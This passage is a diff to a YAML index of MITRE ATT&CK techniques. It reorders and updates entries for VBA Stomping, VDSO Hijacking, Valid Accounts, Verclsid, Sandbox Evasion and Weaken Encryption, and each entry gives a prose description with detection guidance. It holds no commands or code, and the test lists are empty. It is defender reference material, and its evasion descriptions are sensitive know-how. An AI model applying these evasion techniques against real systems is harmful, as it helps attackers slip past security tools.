+      - url: https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239
         description: 'Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream:
           Version Dependent Project Information. Retrieved September 18, 2020.'
-      - source_name: Walmart Roberts Oct 2018
-        url: https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278
+        source_name: Microsoft _VBA_PROJECT Stream
+      - url: https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278
         description: Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping
           — Advanced Maldoc Techniques. Retrieved September 17, 2020.
-      - source_name: pcodedmp Bontchev
-        url: https://github.com/bontchev/pcodedmp
+        source_name: Walmart Roberts Oct 2018
+      - url: https://github.com/bontchev/pcodedmp
         description: Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler.
           Retrieved September 17, 2020.
-      - source_name: oletools toolkit
-        url: https://github.com/decalage2/oletools
+        source_name: pcodedmp Bontchev
+      - url: https://github.com/decalage2/oletools
         description: decalage2. (2019, December 3). python-oletools. Retrieved September
           18, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: VBA Stomping
+        source_name: oletools toolkit
+      x_mitre_data_sources:
+      - 'Script: Script Execution'
+      - 'File: File Metadata'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T14:02:07.944Z'
+      x_mitre_system_requirements:
+      - MS Office version specified in <code>_VBA_PROJECT</code> stream must match
+        host
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)
 
         MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)
 
         An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)
-      id: attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-09-23T11:31:50.407Z'
-      created: '2020-09-17T12:51:40.845Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - MS Office version specified in <code>_VBA_PROJECT</code> stream must match
-        host
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Rick Cole, Mandiant
       x_mitre_detection: |-
         Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)
 
         If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)
-      x_mitre_data_sources:
-      - 'Script: Script Execution'
-      - 'File: File Content'
-      x_mitre_contributors:
-      - Rick Cole, FireEye
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
+      created: '2020-09-17T12:51:40.845Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1055.014:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: VDSO Hijacking
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:28:45.232Z'
+      created: '2020-01-14T01:35:00.781Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5
       description: "Adversaries may inject malicious code into processes via VDSO
         hijacking in order to evade process-based defenses as well as possibly elevate
@@ -40473,57 +41717,11 @@ defense-evasion:
         resources, and possibly elevated privileges. Execution via VDSO hijacking
         may also evade detection from security products since the execution is masked
         under a legitimate process.  "
-      name: VDSO Hijacking
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.014
-        url: https://attack.mitre.org/techniques/T1055/014
-      - source_name: ELF Injection May 2009
-        url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
-        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
-          GOT poisoning. Retrieved March 15, 2020.
-      - source_name: Backtrace VDSO
-        url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
-        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
-          Retrieved June 15, 2020.
-      - source_name: VDSO Aug 2005
-        url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
-        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
-          June 16, 2020.
-      - source_name: Syscall 2014
-        url: https://lwn.net/Articles/604515/
-        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
-          2. Retrieved June 16, 2020.
-      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
-          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
-          December 20, 2017.'
-        source_name: ArtOfMemoryForensics
-      - url: https://www.gnu.org/software/acct/
-        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
-          December 20, 2017.
-        source_name: GNU Acct
-      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
-        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
-          Chapter 7 - System Auditing. Retrieved December 20, 2017.
-        source_name: RHEL auditd
-      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
-        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
-          Retrieved December 20, 2017.
-        source_name: Chokepoint preload rootkits
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-06-20T22:28:45.232Z'
-      created: '2020-01-14T01:35:00.781Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
       x_mitre_detection: "Monitor for malicious usage of system calls, such as ptrace
         and mmap, that can be used to attach to, manipulate memory, then redirect
         a processes' execution path. Monitoring for Linux specific calls such as the
@@ -40534,41 +41732,57 @@ defense-evasion:
         \n\nAnalyze process behavior to determine if a process is performing actions
         it usually does not, such as opening network connections, reading files, or
         other suspicious actions that could relate to post-compromise behavior. "
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      x_mitre_platforms:
-      - Linux
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/014
+        external_id: T1055.014
+        source_name: mitre-attack
+      - url: https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html
+        description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
+          GOT poisoning. Retrieved March 15, 2020.
+        source_name: ELF Injection May 2009
+      - url: https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/
+        description: backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS.
+          Retrieved June 15, 2020.
+        source_name: Backtrace VDSO
+      - url: https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/
+        description: Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved
+          June 16, 2020.
+        source_name: VDSO Aug 2005
+      - url: https://lwn.net/Articles/604515/
+        description: Drysdale, D. (2014, July 16). Anatomy of a system call, part
+          2. Retrieved June 16, 2020.
+        source_name: Syscall 2014
+      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
+          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
+          December 20, 2017.'
+        source_name: ArtOfMemoryForensics
+      - source_name: GNU Acct
+        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
+          December 20, 2017.
+        url: https://www.gnu.org/software/acct/
+      - source_name: RHEL auditd
+        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
+          Chapter 7 - System Auditing. Retrieved December 20, 2017.
+        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
+      - source_name: Chokepoint preload rootkits
+        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
+          Retrieved December 20, 2017.
+        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
     atomic_tests: []
   T1078:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078
-        url: https://attack.mitre.org/techniques/T1078
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
-      description: |-
-        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
-
-        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
-      name: Valid Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       type: attack-pattern
+      name: Valid Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '2.3'
+      modified: '2021-10-19T03:29:48.018Z'
+      created: '2017-05-31T21:31:00.645Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -40578,12 +41792,7 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-12T18:27:52.298Z'
-      created: '2017-05-31T21:31:00.645Z'
-      x_mitre_version: '2.2'
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
       x_mitre_defense_bypassed:
       - Firewall
       - Host intrusion prevention systems
@@ -40591,16 +41800,6 @@ defense-evasion:
       - Application control
       - System access controls
       - Anti-virus
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_effective_permissions:
-      - User
-      - Administrator
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -40611,41 +41810,68 @@ defense-evasion:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
+
+        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
+      x_mitre_effective_permissions:
+      - User
+      - Administrator
       x_mitre_contributors:
+      - Jon Sternstein, Stern Security
       - Yossi Weizman, Azure Defender Research Team
       - Netskope
       - Mark Wee
       - Praetorian
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: |-
+        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
+
+        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078
+        external_id: T1078
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1218.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.012
-        url: https://attack.mitre.org/techniques/T1218/012
-      - source_name: WinOSBite verclsid.exe
-        url: https://www.winosbite.com/verclsid-exe/ 
-        description: verclsid-exe. (2019, December 17). verclsid.exe File Information
-          - What is it & How to Block . Retrieved August 10, 2020.
-      - source_name: LOLBAS Verclsid
-        url: https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
-        description: LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.
-      - source_name: Red Canary Verclsid.exe
-        url: https://redcanary.com/blog/verclsid-exe-threat-detection/
-        description: 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy
-          a New Methodology: Verclsid.exe. Retrieved August 10, 2020.'
-      - source_name: BOHOPS Abusing the COM Registry
-        url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
-        description: 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure
-          (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.'
-      - source_name: Nick Tyrer GitHub
-        url: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
-        description: Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Verclsid
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-08-19T19:29:18.138Z'
+      created: '2020-08-10T13:59:38.443Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327
+      x_mitre_defense_bypassed:
+      - Application control
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may abuse verclsid.exe to proxy execution of malicious
         code. Verclsid.exe is known as the Extension CLSID Verification Host and is
         responsible for verifying each shell extension before they are used by Windows
@@ -40660,20 +41886,8 @@ defense-evasion:
         may bypass application control solutions that do not account for its potential
         abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation:
         BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) "
-      id: attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-08-19T19:29:18.138Z'
-      created: '2020-08-10T13:59:38.443Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Digital Certificate Validation
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Rodrigo Garcia, Red Canary
       x_mitre_detection: Use process monitoring to monitor the execution and arguments
         of verclsid.exe. Compare recent invocations of verclsid.exe with prior history
         of known good arguments and loaded files to determine anomalous and potentially
@@ -40683,71 +41897,67 @@ defense-evasion:
         for verclsid.exe to have a parent process of a Microsoft Office product. It
         may also be unusual for verclsid.exe to have any child processes or to make
         network connections or file modifications.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Rodrigo Garcia, Red Canary
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/012
+        external_id: T1218.012
+        source_name: mitre-attack
+      - url: https://www.winosbite.com/verclsid-exe/ 
+        description: verclsid-exe. (2019, December 17). verclsid.exe File Information
+          - What is it & How to Block . Retrieved August 10, 2020.
+        source_name: WinOSBite verclsid.exe
+      - url: https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
+        description: LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020.
+        source_name: LOLBAS Verclsid
+      - url: https://redcanary.com/blog/verclsid-exe-threat-detection/
+        description: 'Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy
+          a New Methodology: Verclsid.exe. Retrieved August 10, 2020.'
+        source_name: Red Canary Verclsid.exe
+      - url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
+        description: 'BOHOPS. (2018, August 18). Abusing the COM Registry Structure
+          (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020.'
+        source_name: BOHOPS Abusing the COM Registry
+      - url: https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
+        description: Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020.
+        source_name: Nick Tyrer GitHub
     atomic_tests: []
   T1497:
     technique:
-      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
-      description: "Adversaries may employ various means to detect and avoid virtualization
-        and analysis environments. This may include changing behaviors based on the
-        results of checks for the presence of artifacts indicative of a virtual machine
-        environment (VME) or sandbox. If the adversary detects a VME, they may alter
-        their malware to disengage from the victim or conceal the core functions of
-        the implant. They may also search for VME artifacts before dropping secondary
-        or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox
-        Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery
-        to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish
-        [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
-        such as checking for security monitoring tools (e.g., Sysinternals, Wireshark,
-        etc.) or other system artifacts associated with analysis or virtualization.
-        Adversaries may also check for legitimate user activity to help determine
-        if it is in an analysis environment. Additional methods include use of sleep
-        timers or loops within malware code to avoid operating within a temporary
-        sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n"
-      name: Virtualization/Sandbox Evasion
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497
-        url: https://attack.mitre.org/techniques/T1497
-      - source_name: Unit 42 Pirpi July 2015
-        url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
-        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
-          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
-          23, 2019.'
       type: attack-pattern
+      name: Virtualization/Sandbox Evasion
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.3'
+      modified: '2021-10-18T14:57:48.989Z'
+      created: '2019-04-17T22:22:24.505Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-21T15:16:10.835Z'
-      created: '2019-04-17T22:22:24.505Z'
-      x_mitre_is_subtechnique: false
       x_mitre_defense_bypassed:
       - Anti-virus
       - Host forensic analysis
       - Signature-based detection
       - Static File Analysis
-      x_mitre_contributors:
-      - Deloitte Threat Library Team
-      - Sunny Neo
       x_mitre_platforms:
       - Windows
       - macOS
       - Linux
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
+      description: |+
+        Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
+
+        Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)
+
+      x_mitre_contributors:
+      - Deloitte Threat Library Team
+      - Sunny Neo
       x_mitre_detection: Virtualization, sandbox, user activity, and related discovery
         techniques will likely occur in the first steps of an operation but may also
         occur throughout as an adversary learns the environment. Data and events should
@@ -40758,167 +41968,182 @@ defense-evasion:
         required. Monitoring for suspicious processes being spawned that gather a
         variety of system information or perform other forms of Discovery, especially
         in a short period of time, may aid in detection.
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497
+        external_id: T1497
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
+        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
+          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
+          23, 2019.'
+        source_name: Unit 42 Pirpi July 2015
     atomic_tests: []
   T1600:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Weaken Encryption
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-21T22:37:49.258Z'
+      created: '2020-10-19T18:47:08.759Z'
       id: attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8
+      x_mitre_defense_bypassed:
+      - Encryption
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)
 
         Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.
 
         Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)
-      name: Weaken Encryption
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1600
-        url: https://attack.mitre.org/techniques/T1600
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-10-21T22:37:49.258Z'
-      created: '2020-10-19T18:47:08.759Z'
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
       x_mitre_detection: There is no documented method for defenders to directly identify
         behaviors that weaken encryption. Detection efforts may be focused on closely
         related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
         Some detection methods require vendor support to aid in investigation.
-      x_mitre_defense_bypassed:
-      - Encryption
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1600
+        external_id: T1600
+        source_name: mitre-attack
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
     atomic_tests: []
   T1550.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1550.004
-        url: https://attack.mitre.org/techniques/T1550/004
-      - external_id: CAPEC-60
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/60.html
